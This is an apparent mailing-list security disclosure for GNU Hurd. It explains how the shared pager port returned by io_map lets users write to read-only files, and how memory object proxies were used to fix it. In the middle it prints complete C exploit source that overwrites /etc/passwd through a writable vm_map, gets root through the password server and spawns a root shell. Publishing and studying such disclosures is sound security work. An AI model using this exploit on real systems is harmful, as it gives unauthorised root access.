[Top][All Lists]

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[VULN 2/4] No read-only mappings

From: Sergey Bugaev
Subject: [VULN 2/4] No read-only mappings
Date: Tue, 2 Nov 2021 19:31:19 +0300

Short description

A single pager port is shared between anyone who mmaps a file, allowing anyone
to modify any files they can read. This can be trivially exploited to get full
root access to the system.

Background: Mach memory objects

Mach has the concept of memory objects, also called pagers. A memory object is
essentially a collection of memory pages that can be mapped into a task address
space. Memory objects can be implemented both in userspace or in the kernel.
Like everything else in Mach, a memory object is represented by a port.

A memory object port can be passed to the vm_map () call to map the object to
the address space of a task. Mach itself acts as the client of the memory
object, sending various requests to the object when it needs to read or write
pages of data that belong to the memory object.

An important property of (shared, as in MAP_SHARED) mappings is *coherence*: any
changes made to the data (whether directly through the mapping or through some
other means) must be immediately visible to everyone who has the object mapped.
This basically requires a single set of physical pages to be shared between
tasks, i.e. sharing a single set of physical pages is not only an optimization,
but a hard requirement. Mach takes care to maintain this invariant, and only
keeps a single copy of each logical page of a memory object (unless copying is
requested explicitly).

Background: io_map ()

On the Hurd, the common way to get a memory object is through the io_map ()
call, defined as follows:

/* Return objects mapping the data underlying this memory object.  If
   the object can be read then memobjrd will be provided; if the
   object can be written then memobjwr will be provided.  For objects
   where read data and write data are the same, these objects will be
   equal, otherwise they will be disjoint.  Servers are permitted to
   implement io_map but not io_map_cntl.  Some objects do not provide
   mapping; they will set none of the ports and return an error.  Such
   objects can still be accessed by io_read and io_write.  */
routine io_map (
        io_object: io_t;
        out memobjrd: mach_port_send_t;
        out memobjwt: mach_port_send_t);

io_map () can be called on a file; depending on whether the file was opened for
reading, writing, or both, some of the returned memory objects can be null.

The implementation of mmap () in glibc goes something like this (obviously,
greatly simplified):

mmap (...)
  mach_port_t robj, wobj, memobj;

  io_map (io, &robj, &wobj);
  memobj = (prot & PROT_WRITE) ? wobj : robj;

  if (memobj == MACH_PORT_NULL)
    /* The translator doesn't provide this sort of access to us.  */
    return __hurd_fail (EACCES);

  vm_map (mach_task_self (), ..., memobj, ...);

The issue

As I mentioned, it's essential for coherence that there's a single copy of each
page in core, shared between all tasks that have it mapped. This is why,
generally, there can only be a single pager per file -- not two distinct pagers
for read-only and writable access!

This means that even when io_map () returns null for a writable memory object,
the returned supposedly read-only memory object is still a port to the same,
single pager for this file, which can be used for both reading and writing.
While an mmap () call will behave as expected -- map the object read-only if so
requested, return an error if asked to make a writable mapping since wobj is
null -- nothing stops an attacker from calling vm_map () explicitly to create a
writable mapping, nor from skipping the actual mapping and just talking to the
pager directly using the port, like Mach would.

The exploit

I can overwrite arbitrary files, at least on the root ext2fs, that I have read
access to. It's trivial to get root access from here. I chose to stick with the
password server and erasing /etc/passwd again. The exploit even makes sure to
restore /etc/passwd contents after getting root, so that the system doesn't end
up in a broken state.

Exploit source code

#include <stdio.h>
#include <error.h>
#include <hurd.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <hurd/paths.h>
#include <hurd/password.h>

main ()
  error_t err;
  file_t file;
  file_t password_server;
  struct stat64 st;
  mach_port_t robj, wobj;
  vm_address_t addr = 0;
  void *buffer;
  auth_t root_auth;

  file = file_name_lookup ("/etc/passwd", O_READ, 0);
  if (!MACH_PORT_VALID (file))
    error (1, errno, "file_name_lookup");

  password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0);
  if (!MACH_PORT_VALID (password_server))
    error (1, errno, "file_name_lookup");

  err = io_stat (file, &st);
  if (err)
    error (1, err, "io_stat");

  err = io_map (file, &robj, &wobj);
  if (err)
    error (1, err, "io_map");

  err = vm_map (mach_task_self (),
                &addr, st.st_size, 0,
                1, robj, 0, 0,
  if (err)
    error (1, err, "vm_map");

  buffer = malloc (st.st_size);
  if (!buffer)
    error (1, errno, "malloc (%lu)", st.st_size);

  memcpy (buffer, (void *) addr, st.st_size);
  memset ((void *) addr, '\n', st.st_size);

  err = password_check_user (password_server, 0, "hax2", &root_auth);
  if (err)
    error (0, err, "password_check_user");
    fprintf (stderr, "Got root auth port :)\n");

  memcpy ((void *) addr, buffer, st.st_size);
  free (buffer);

  err = setauth (root_auth);
  if (err)
    error (1, err, "setauth");

  if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
  if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

  execl ("/bin/bash", "/bin/bash", NULL);
  error (1, errno, "failed to exec bash");


As it turned out, this vulnerability has been known to (some of) the Hurd
developers before. Specifically, I have found these old discussions on the
mailing list:

* https://lists.gnu.org/archive/html/bug-hurd/2002-11/msg00263.html
* https://lists.gnu.org/archive/html/bug-hurd/2005-06/msg00191.html

So while I have discovered this vulnerability independently, it is not exactly
new. This also explains the existence of the memory object proxy feature:
proxies turned out to be so convenient for fixing this, it's as if they have
been designed specifically for this use case! -- well, it turns out, they have
been indeed, but the work has never been completed.

Background: memory object proxies

Memory object proxies are a GNU Mach feature; they're not in other versions of
Mach. They are lightweight references to memory objects that provide a "view"
into their underlying object, while possibly modifying some attributes of the
underlying memory object. Importantly for us, they can modify the allowed

It's important to understand that memory object proxies are not themselves
memory objects: they don't respond to memory_object_* () RPCs, and in particular
they _don't_ proxy memory_object_* () RPCs to their underlying memory object.

But, memory object proxies can frequently be used _in place of_ an actual memory
object, because vm_map () implementation recognizes memory object proxies and
_actually maps the underlying memory object_, while applying the relevant
attributes of the proxy (namely, adjusting the allowed protection). After the
vm_map () call, the resulting state of the map is indistinguishable from what it
would have been had the underlying memory object been mapped directly, without
using a proxy. In particular, no additional references to the proxy are created,
so the proxy can be safely destroyed afterwards once the userspace no longer
references it.

How we fixed the vulnerability

By finally making use of memory object proxies!

There's a new function in libpager (the Hurd library for writing pagers),
pager_create_ro_port (), which creates a read-only proxy to the pager; it
complements the existing pager_get_port () function, which gets the actual pager
port. ext2fs, fatfs, and tmpfs were all updated to use pager_create_ro_port ()
to return this read-only proxy when appropriate.

Since it's always the original memory object that's entered into the vm_map, we
can give out read-only pager ports while still keeping the invariant that
there's only one pager, and one copy of each logical page, per file. (To be
clear: this part is not new, it's how proxies work; though we had to make some
tweaks to this mechanism nevertheless.)

We also had to disable the GNU Mach extension that allowed using the "memory
object name port", as returned from vm_region (), in vm_map (). This extension
effectively allowed tasks to remap any objects that they have mapped with a
different protection (and range), circumventing any protection restrictions set
up by proxies (or otherwise by max_protection). This was used by mremap () in
glibc, which as of now no longer works. We have some plans for a different way
to implement mremap () which would be secure (VM proxies).

Before these changes, the proxies feature existed, but it was not used for
anything (outside of Joan Lledó's PCI arbiter memory mapping branch). Now, the
proxies are *pervasively* used when mapping any file read-only (think shared
libraries) and also each time when reading any file from disk, since
_diskfs_rdwr_internal () goes through a mapping.

reply via email to

[Prev in Thread] Current Thread [Next in Thread]